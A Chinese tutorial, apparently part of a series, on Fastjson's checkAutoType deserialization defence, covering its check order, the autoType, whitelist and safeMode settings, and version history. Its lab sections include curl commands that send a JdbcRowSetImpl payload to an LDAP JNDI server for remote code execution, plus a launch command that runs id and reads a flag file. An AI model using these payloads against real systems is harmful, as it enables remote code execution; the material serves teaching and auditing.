引子:为什么"同一个 payload"在不同版本时灵时不灵
只从网上抄 payload,很容易遇到这种困惑:同一个
{"@type":"com.sun.rowset.JdbcRowSetImpl", ...}
有人说"能打",有人说"早修了",还有人说"要加 L...; 才行"。这些说法都可能是对的,取决于版本。 而版本之所以重要,是因为 Fastjson 在 1.2.25 引入了一个"守门函数"------它决定了哪些类名能被加载。之后长达数年的攻防,全部是在和这个函数博弈。
这也是本系列最想建立的能力:不是记住"哪些 payload 能打",而是看懂"守门函数怎么放行、什么时候会误放行"。
在真实工作中,这个能力直接对应两类任务:
-
代码审计 / 渗透 :看到
JSON.parse(userInput)或autoTypeSupport=true,立刻能判断"这里是不是可利用、大概能怎么利用"; -
应急 / 检测 :看到日志里的
autoType is not support. xxx,知道攻击者走到了哪一步、下一步可能在试什么。
本篇要点:
-
checkAutoType的判断顺序是怎样的?为什么"顺序"就是漏洞? -
autoTypeSupport、白名单、safeMode、expectClass各是什么?谁最彻底? -
为什么"查缓存"排在"查黑名单"之前会出事?
-
autoType is not support这个报错,具体说明检查停在了哪一步?
一、先给结论:一次带 @type 的解析会经过什么
当 Fastjson 在 JSON 里读到 @type(键名默认是 JSON.DEFAULT_TYPE_KEY,值为类名)时,它不是立刻 Class.forName 就完事,而是会走一个守门函数:
ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features)
Java 说明:
-
ParserConfig:Fastjson 的"解析配置类",保存 autoType 开关、黑白名单等设置。 -
checkAutoType(...):它的方法。typeName是待检查的类名(来自@type);expectClass是"当前期望的类型"(可为null);features是特性位标志。放行则返回Class,否则抛异常。 -
int features:用整数位表示一组开关(位运算),用来传递各种解析选项。
只有守门函数放行,才继续去加载类、创建对象。所有的绕过,本质都是在研究"守门函数在什么情况下会误放行"。
守门函数的核心判断(按 1.2.x 源码逻辑概括,顺序很关键):
-
类名规范化 :去掉开头的
L、结尾的;(Java 的类描述符写法),把/换成.。 -
查缓存(mappings) :如果这个类名之前被显式登记过(
TypeUtils.addMapping/ParserConfig缓存),直接放行------这是一条快路径,也是 1.2.47 缓存的成因。 -
查黑名单 :命中
denyList/denyHashCodes(如com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl等一大批),直接拒绝 ,抛autoType is not support。 -
autoType 总开关 :如果没有开启 autoType(
autoTypeSupport=false且类不在白名单),也拒绝。 -
expectClass 例外 :如果当前解析"期望的类型"已知(
expectClass != null),且目标类是其子类/实现,则可能放行------这是 1.2.68ExpectClass绕过的来源。 -
加载并缓存 :通过
TypeUtils.loadClass用类加载器加载,返回Class。
注意第 2 步在检查之前:只要能让一个危险类名进入缓存,就能跳过黑名单。 这就是经典的 "cache bypass"。
二、三个状态开关
理解版本差异前,先记住三个开关:
| 开关 | 含义 | 默认值(1.2.x) |
|---|---|---|
autoTypeSupport |
是否允许 @type 自动加载任意类(受黑白名单约束) |
1.2.24 及更早为 true ;1.2.25 起为 false |
白名单 acceptList / addAccept |
显式允许的类/包前缀 | 空 |
safeMode |
彻底禁止 autoType(黑白名单都不看) | 1.2.68 引入,默认 false |
开启 autoType 的几种常见方式(很多真实系统为了"兼容"会这么做,风险也随之而来):
// 代码里开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 启动参数开启(不少老系统/中间件这么干)
// -Dfastjson.parser.autoTypeSupport=true
开启白名单(相对安全):
ParserConfig.getGlobalInstance().addAccept("com.mycompany.model.");
开启 safeMode(最稳):
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或 -Dfastjson.parser.safeMode=true
逐词拆解这三段代码:
-
ParserConfig:一个类("图纸"),负责 Fastjson 的解析配置------autoType 开关、黑白名单都归它管。 -
getGlobalInstance():ParserConfig的方法 ,返回全局唯一 的那个配置对象(这种"整个进程只有一个"的设计叫单例)。所以改它,等于改整个进程的解析行为。 -
setAutoTypeSupport(true):配置对象上的方法;参数true表示"打开"autoType,false表示"关闭"。 -
addAccept("com.mycompany.model."):把某个包名前缀加入白名单;参数是字符串。 -
setSafeMode(true):打开安全模式,彻底禁用 autoType。 -
连起来读:"取出全局配置对象 → 调用它的某个开关方法"。
-
// -Dfastjson.parser.autoTypeSupport=true:这是启动参数写法,含义见下面的"通用概念"。
贯穿全文的通用概念(后面不再重复解释):
-
类 / 对象 :类=图纸(如
ParserConfig),对象=按图纸造出来的实例(即getGlobalInstance()返回的东西)。 -
方法 :类或对象能执行的动作,写作
名字(参数);没有参数就写名字()。 -
true/false:布尔值,表示"开/真"与"关/假"。 -
-D名字=值(启动参数) :Java 启动时用来设置系统属性 ,程序里用System.getProperty("名字")读取;大量框架开关都靠它传入。命令行里写成java -D名字=值 -cp ... 主类。 -
TypeUtils.loadClass(name, loader, cache):用类加载器把类名加载成Class;cache=true会把它登记进缓存(04 篇缓存绕过的基础)。 -
TypeUtils.addMapping(name, clazz):手动往缓存登记"类名 → Class"。因为检查逻辑先查缓存,缓存就成了绕过入口。
三、@type 在 JSON 里长什么样
最常见的三种写法:
{"@type":"com.example.User","name":"tom"} // 对象,指定类
{"@type":"[com.example.User",...] } // 数组,以 [ 开头
{"@type":"Lcom.example.User;","name":"tom"} // 类描述符写法 L...;
Fastjson 解析到对象开头的 @type 时,会:
-
把它当作
typeName; -
如果是
"@" + "type"之外的默认键(可用于自定义typeKey),也支持; -
调用守门函数;放行后加载类、走
ObjectDeserializer。
记住:
L...;和[...这些"奇怪写法"不是 Fastjson 特意支持的语法,而是解析器在做"兼容/规范化"时的处理,恰恰被用来绕过检查。
四、把守门函数拆开:一次合法解析 vs 一次攻击
场景 A:正常业务(指定目标类型)
User u = JSON.parseObject(json, User.class); // 目标类型确定
此时即便 JSON 里有 @type,只要它不是 User 或其子类,会被拒绝。这也是为什么"用 parseObject(json, XXX.class) 指定类型"比 JSON.parse(json) 安全得多。
场景 B:危险写法(不指定类型)
Object o = JSON.parse(json); // 目标类型未知 -> expectClass=null
expectClass 为空时,第 5 步的例外失效,只能靠 autoType 开关和白名单------如果开关被打开或存在缓存,就危险了。
靶场对照:
B=http://192.168.143.156:8080 # 靶场地址
# 1.2.24 默认就危险
cd /opt/fastjson-lab && ./start.sh 1.2.24 8 # 启动 1.2.24(该版本 autoType 默认开启)
curl -s -G "$B/parse" --data-urlencode \
'data={"@type":"java.util.HashMap","x":1}' # 用 @type 指定 HashMap,观察是否被实例化
预期输出:
OK: {x=1}
不依赖脚本的手动等价操作 (start.sh 所做的就是下面这一条 java 命令):
cd /opt/fastjson-lab
mvn -q -B package # 首次:编译靶场
/opt/jdk8/bin/java \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
-cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# 换版本:把 classpath 里的 fastjson-1.2.24.jar 换成目标版本即可
# 停止:pkill -f 'com.lab.fastjson.FastjsonLab'
五、黑名单为什么是"打地鼠"
Fastjson 的 denyList(及后续基于 hashCode 的 denyHashCodes)里包含大量已知危险类,例如:
-
com.sun.rowset.JdbcRowSetImpl(触发 JNDI) -
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(定义字节码) -
各类
org.apache.*、java.lang.AutoCloseable相关 gadget......
问题在于:
-
黑名单只能覆盖"已经公开的" gadget;
-
只要换一个依赖库里的等价类(例如另一个能触发 JNDI 的工厂类),黑名单就失效;
-
更糟的是,黑名单判断可能因为缓存、类名变形、expectClass 等被绕过。
因此官方在 1.2.68 引入了 safeMode,在 1.2.83 又做了 autoType 行为变更,最终建议迁移到 fastjson2
六、版本演进一览
| 版本 | 关键变化 | 对攻击的影响 |
|---|---|---|
| ≤1.2.24 | autoType 默认开启 | 直接 @type 打 |
| 1.2.25 | 引入 checkAutoType + 黑名单,autoType 默认关闭 |
必须绕过 |
| 1.2.41 / 1.2.42 | 修 L...; 绕过及其变体 |
换写法 |
| 1.2.47 | 出现 java.lang.Class 缓存绕过 |
通用性极强的绕过 |
| 1.2.62~1.2.68 | 黑名单加固;1.2.68 引入 safeMode、ExpectClass | 绕过开始依赖特定依赖/上下文 |
| 1.2.80 | 特定依赖下仍可绕过(官方公告) | 补丁未彻底 |
| 1.2.83 | 修复该绕过,建议升级/迁移 | 通用 payload 基本失效 |
| 2.x (fastjson2) | 重写,不再为兼容保留白名单,默认更安全 | 需显式注册才支持 autoType |
七、在靶场上观察"检查逻辑"
ssh root@192.168.143.156 # 登录实验机
cd /opt/fastjson-lab # 进入靶场目录
# 1.2.24:direct 直接成功
./start.sh 1.2.24 8 # 启动 1.2.24
curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \
'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' # 发送 JdbcRowSetImpl → JNDI 链
# => ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit
# (需先启动 /opt/jndi-server;报错是正常的,JNDI 已触发、RCE 已发生)
# 1.2.83:同样的 payload 被守门函数拦下
./stop.sh; ./start.sh 1.2.83 8 # 结束旧进程并切换到 1.2.83
curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \
'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' # 发送同一份 payload
# => ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl
不依赖脚本的手动等价操作(切换版本=换 classpath 里的 jar,然后重启进程):
cd /opt/fastjson-lab
# 1.2.24:启动
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-Dlab.cmd="id > /tmp/fastjson-pwned.txt 2>&1; cat /flag-fastjson >> /tmp/fastjson-pwned.txt 2>&1; echo FASTJSON-JNDI-RCE-OK >> /tmp/fastjson-pwned.txt" \
-cp "target/fastjson-lab.jar:lib/fastjson-1.2.24.jar" \
com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# ...发送第一组请求...
pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1
# 1.2.83:仅把 classpath 换成 fastjson-1.2.83.jar,再次启动
/opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp "target/fastjson-lab.jar:lib/fastjson-1.2.83.jar" \
com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 &
# 两次都请求 /parse(即 JSON.parse),对比返回即可看出守门函数的行为差异
看到 autoType is not support. <类名> 这句报错,就说明守门函数在这里拦住了------分析绕过时,这句话是第一线索。
对应验证结果:
| 版本 | 端点 | payload | 结果 |
|---|---|---|---|
| 1.2.24 | /parse |
JdbcRowSetImpl → JNDI |
RCE(返回 set property error,但 JNDI 已触发、命令已执行) |
| 1.2.83 | /parse |
同上 | blocked(autoType is not support. com.sun.rowset.JdbcRowSetImpl) |
八、自测
-
checkAutoType的判断顺序里,为什么"查缓存"放在"查黑名单"之前会出问题? -
autoTypeSupport和白名单、safeMode 三者是什么关系?哪个最彻底? -
为什么
JSON.parse(json)比JSON.parseObject(json, User.class)危险? -
autoType is not support. xxx这个报错说明检查走到了哪一步? -
用简要的话解释:为什么"黑名单"天生打不过"绕过"?